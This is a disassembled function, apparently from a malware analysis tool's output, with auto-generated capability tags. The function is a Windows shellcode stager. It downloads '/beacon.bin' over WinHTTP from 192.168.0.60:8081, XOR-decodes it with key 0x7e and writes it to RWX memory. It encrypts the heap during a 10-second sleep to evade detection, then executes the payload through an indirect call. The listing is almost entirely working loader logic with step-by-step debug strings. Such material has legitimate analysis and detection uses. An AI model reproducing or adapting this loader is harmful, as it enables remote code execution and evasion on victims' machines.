Function at 0x1400012b0
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Initialize winhttp library
Prepare http request
Receive http response
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x80
movaps xmmword [rsp + 0x70], xmm6
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x68], rax
movdqa xmm6, xmmword [str.]
xor esi, esi
mov dword [rsp + 0x4c], esi
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x50], xmm1
mov qword [rsp + 0x60], rsi
mov dword [rsp + 0x20], esi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov r13, rax
lea rcx, str.___WinHTTP_initialized_n
call fcn.140001010
mov r8d, 0x1f91
xor r9d, r9d
lea rdx, str.192.168.0.60
mov rcx, r13
call qword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov rbx, rax
mov qword [rsp + 0x40], rax
lea rcx, str.___Connected_to_HTTP_Server_n
call fcn.140001010
mov dword [rsp + 0x30], esi
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rsi
xor r9d, r9d
lea r8, str._beacon.bin
lea rdx, [0x140003438]
mov rcx, rbx
call qword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov r14, rax
lea rcx, str.___Sending_HTTP_GET_Request_n
call fcn.140001010
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], esi
mov dword [rsp + 0x20], esi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, r14
call qword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
lea rcx, str.___WinHTTP_request_sent_n
call fcn.140001010
xor edx, edx
mov rcx, r14
call qword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
lea rcx, str.___Response_retrieved_n
call fcn.140001010
nop word [rax + rax]
mov dword [rsp + 0x48], esi
lea rdx, [rsp + 0x48]
mov rcx, r14
call qword [sym.imp.WINHTTP.dll_WinHttpQueryDataAvailable]
test eax, eax
jne 0x1400013fa
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Error__u_in_WinHttpQueryDataAvailable._n
call fcn.140001010
mov ecx, dword [rsp + 0x48]
inc ecx
call fcn.1400019d4
mov rbx, rax
mov r8d, dword [rsp + 0x48]
inc r8d
xor edx, edx
mov rcx, rax
call sub.VCRUNTIME140.dll_memset
lea r9, [rsp + 0x4c]
mov r8d, dword [rsp + 0x48]
mov rdx, rbx
mov rcx, r14
call qword [sym.imp.WINHTTP.dll_WinHttpReadData]
test eax, eax
jne 0x14000144a
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Error__u_in_WinHttpReadData._n
call fcn.140001010
jmp 0x140001464
mov r9d, dword [rsp + 0x4c]
add r9, rbx
mov r8, rbx
mov rdx, qword [rsp + 0x58]
lea rcx, [rsp + 0x50]
call fcn.140001710
cmp dword [rsp + 0x48], 0
ja 0x1400013d0
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x50]
sub rdi, rbp
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov r15, rax
mov r8d, esi
test rdi, rdi
je 0x1400014b9
mov rdx, rax
mov r9, rbp
sub r9, rax
nop dword [rax]
movzx ecx, byte [r9 + rdx]
xor cl, 0x7e
mov byte [rdx], cl
inc r8d
lea rdx, [rdx + 1]
movsxd rax, r8d
cmp rax, rdi
jb 0x1400014a0
lea rcx, str.___Encrypted_shellcode_allocated_in_heap_n
call fcn.140001010
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rbx, rax
mov r9d, 0x40
mov r8d, 0x3000
mov rdx, rdi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r12, rax
test rax, rax
jne 0x140001507
lea rcx, str.____VirtualAlloc_failed_n
call fcn.140001010
lea ecx, [r12 + 1]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov rdx, r12
lea rcx, str.___Allocated_space_for_the_buffer__p_n
call fcn.140001010
test edi, edi
jle 0x14000159e
cmp edi, 0x40
jb 0x1400015a2
mov ecx, edi
and ecx, 0x8000003f
jge 0x140001538
dec ecx
or ecx, 0xffffffc0
inc ecx
mov eax, edi
sub eax, ecx
movsxd r8, eax
lea rcx, [r15 + 0x20]
mov rdx, 0xffffffffffffffe0
sub rdx, r15
nop dword [rax]
movdqu xmm0, xmmword [rcx - 0x20]
movdqa xmm1, xmm6
pxor xmm1, xmm0
movdqu xmmword [rcx - 0x20], xmm1
movdqu xmm0, xmmword [rcx - 0x10]
pxor xmm0, xmm6
movdqu xmmword [rcx - 0x10], xmm0
movdqu xmm1, xmmword [rcx]
pxor xmm1, xmm6
movdqu xmmword [rcx], xmm1
movdqu xmm0, xmmword [rcx + 0x10]
movdqa xmm1, xmm6
pxor xmm1, xmm0
movdqu xmmword [rcx + 0x10], xmm1
add esi, 0x40
lea rcx, [rcx + 0x40]
lea rax, [rdx + rcx]
cmp rax, r8
jl 0x140001550
cmp esi, edi
jge 0x1400015bd
movsxd rcx, esi
add rcx, r15
mov edx, edi
sub edx, esi
nop dword [rax]
xor byte [rcx], 0x7e
lea rcx, [rcx + 1]
sub rdx, 1
jne 0x1400015b0
mov r8, rdi
mov rdx, r15
mov rcx, r12
call sub.VCRUNTIME140.dll_memcpy
lea rcx, str.___Shellcode_decrypted_and_written_n
call fcn.140001010
lea rcx, str.___Encrypting_the_heap_for_10_seconds_n
call fcn.140001010
call fcn.140001210
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.___Decrypting_the_heap_n
call fcn.140001010
call fcn.140001210
mov rcx, rbx
call r12
mov rcx, r14
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, r13
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, r15
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
nop
test rbp, rbp
je 0x14000166e
mov rdx, qword [rsp + 0x60]
sub rdx, rbp
mov rax, rbp
cmp rdx, 0x1000
jb 0x140001666
add rdx, 0x27
mov rbp, qword [rbp - 8]
sub rax, rbp
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001666
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rbp
call fcn.1400019cc
xor eax, eax
mov rcx, qword [rsp + 0x68]
xor rcx, rsp
call fcn.140001970
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
movaps xmm6, xmmword [rsp + 0x70]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret